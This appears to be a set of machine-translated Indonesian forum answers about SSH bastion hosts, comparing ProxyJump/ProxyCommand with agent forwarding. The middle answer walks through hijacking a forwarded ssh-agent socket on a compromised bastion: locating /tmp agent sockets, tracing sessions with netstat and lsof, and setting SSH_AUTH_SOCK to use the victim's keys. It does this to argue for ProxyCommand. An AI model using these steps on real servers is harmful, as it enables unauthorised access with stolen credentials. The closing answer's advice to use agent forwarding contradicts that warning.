Gunakan ProxyCommand atau ProxyJump
Saya akan merekomendasikan untuk menggunakan ProxyCommand
(atau bahkan lebih baik ProxyJump
karena sintaksnya lebih mudah tetapi membutuhkan openssh 7.3+ menurut saya di sisi klien), dan Anda tidak perlu menggunakan kunci pribadi di Bastion, semuanya tetap lokal.
Contoh dengan ProxyJump
Di komputer klien Anda, Anda menulis file di bawah ~/.ssh/config
dengan konten yang mirip dengan di bawah ini:
Host bastion
HostName bastion.example.com
User bastion-user
Port 22
IdentityFile ~/.ssh/id_bastion
Host srvC
HostName srvC.local
User server-user
IdentityFile ~/.ssh/id_protected_lan
ProxyJump bastion
Kemudian lakukan ssh srvC
akan menghubungkan Anda ke C melalui B (bastion) tanpa Penerusan Agen atau menerapkan kunci pribadi ke bastion.
Pada contoh di atas, "bastion" adalah alias untuk host Bastion Anda dan srvC adalah alias untuk server Anda C. Di HostName
Anda perlu memasukkan IP atau nama domain yang benar-benar memenuhi syarat untuk host Anda. Untuk pengguna, Anda perlu memperbarui User
untuk nama login yang benar di Bastion dan server C. Terakhir IdentityFile
bersifat opsional jika Anda menggunakan agen lokal (mis. KeeAgent atau ssh-agent), tetapi jika tidak berjalan maka agen tersebut juga akan berfungsi dan menanyakan setiap frasa sandi kunci.
Menerapkan kunci publik
Tentu saja Anda perlu menerapkan publik kunci untuk bastion dan srvC. Anda dapat menggunakan (tanda $ hanya untuk mengilustrasikan prompt, jangan mengetiknya):
$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
srvC
Catatan:hal di atas hanya akan berfungsi jika autentikasi kata sandi masih diizinkan. Setelah penerapan di atas dan memverifikasi bahwa semuanya berfungsi sebagaimana mestinya, Anda harus melarang autentikasi sandi di 2 server.
Contoh dengan ProxyCommand, bukan ProxyJump
Jika Anda memiliki OpenSSH versi lama yang tidak mendukung ProxyJump
(di sisi klien), lalu ganti:
ProxyJump bastion
oleh
ProxyCommand ssh -q -W %h:%p bastion
Sejauh yang saya mengerti, ini serupa.
Saya melihat jawaban tentang ProxyJump. Mari kita bahas tentang ProxyCommand .
Tapi tunggu, tunggu! Saya dapat menulis kepada Anda cara meretas server yang menggunakan penerusan Agen, akan jauh lebih mudah untuk memahami perbedaannya!
Ayo meretas!
Untuk langkah dasar:Anda dapat membaca postingan saya di sini
Langkah-langkah dasarnya adalah sebagai berikut:
- Buat pengguna bastion
- Nonaktifkan login root
- Blokir upaya peretasan
- Ubah porta
- Konfigurasikan firewall
- Konfigurasikan SELinux
Cara menggunakan AgentForwarding
-Buat konfigurasi di ~/.ssh/config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Tambahkan kunci otentikasi Anda ke ssh-agent
ssh-add ~/.ssh/name_rsa
-Hubungkan ke bastion hos
ssh bast
-Hubungkan server aplikasi dari benteng
ssh [email protected] -p PORT
Peretasan!
Anda mungkin bertanya kepada saya:
-
Apakah server saya aman? Dan jawabannya cukup sederhana:
- TIDAK!
-
Mengapa?
- Karena Anda menggunakan penerusan Agen SSH!
-
Dan di mana masalahnya?
- Karena penerusan Agen berbahaya dan dianggap berbahaya.
-
Mengapa?
- Mari kita jelaskan semuanya luar dalam:Ketika Anda menghubungkan bastion host, ssh-agent Anda yang mulia diteruskan. Ini berarti soket akan diatur sehingga seseorang dapat menggunakan data soket ini untuk mengakses server Anda. Bayangkan server bastion Anda dikompromikan, Jika seseorang memiliki izin yang memadai di server Linux Anda, dia hanya akan menggunakan info soket Anda. Alhasil, semua server Anda bisa diakses. Saya tahu jendela kompromi sangat kecil karena tergantung pada berapa lama Anda terhubung ke bastion host. Tetapi apakah Anda benar-benar ingin mengambil risiko ketika Anda memiliki opsi lain seperti ProxyCommand? Oleh karena itu, gunakan saja ProxyCommand!
Bagaimana cara meretas server jika Anda menyusupi bastion host?
Lacak Target
Di direktori /tmp Anda mungkin melihat sesuatu seperti itu:
[[email protected] tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Mari buka file sementara
[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Mari kita lihat koneksi ke id proses ini.
netstat -nxp | grep 10507
hasil:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
dan siapa yang terhubung?
lsof -i -a -p 10507
hasil:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Kami juga dapat melihat file soket:
cd /proc/10507/fd/
ls
hasil:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Dan apa yang terjadi kapan klien akan terhubung ke server jauh? mari kita lihat:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Kami bahkan dapat melihat apakah file soket digunakan menggunakan netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Mencuri info Soket dan alamat IP
Sekarang kita perlu mencuri informasi soket saat sesi bastion host terbuka . Oh, kami juga memerlukan IP server tujuan , jadi gunakan saja netstat:
netstat -tn
Langkah terakhir untuk menggunakan file soket yang diteruskan
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Periksa apakah kunci sudah dimuat .
ssh-add -l
hasilnya harus seperti itu :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Server diretas, bagaimana cara memperbaiki masalah keamanan?
Perintah proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Untuk operasi dasar:cara mentransfer file melalui server (dari klien ke server, server ke klien), Anda dapat membaca postingan saya di sini
Kesimpulan
- Jika Anda menggunakan bastion host, jangan gunakan AgentForwarding tetapi gunakanProxyCommand
- Selalu gunakan pengguna non-root untuk autentikasi
- Gunakan firewall dan blokir semua koneksi yang tidak perlu.
- Gunakan SELinux (Secara umum)
- Blokir alamat IP yang mencoba masuk beberapa kali dengan kredensial yang salah
- Jika tidak perlu, jangan berikan izin sudo kepada pengguna
- Pantau server Anda
- Perbarui server Anda untuk tambalan keamanan
Informasi lebih lanjut, lihat blog saya. Selain itu, saya memiliki beberapa tangkapan layar, jadi ini mungkin berguna bagi Anda.
Cukup gunakan penerusan agen SSH seperti kebanyakan orang lain.
- Kuncinya ada di agen ssh di laptop Anda.
- Anda masuk ke bastion, diautentikasi melalui agen.
- Dari sana masuk ke host target Anda, dengan permintaan autentikasi diteruskan kembali ke laptop Anda .
Keuntungan:tidak ada kunci yang tersimpan di bastion yang bisa disalahgunakan.
Semoga membantu :)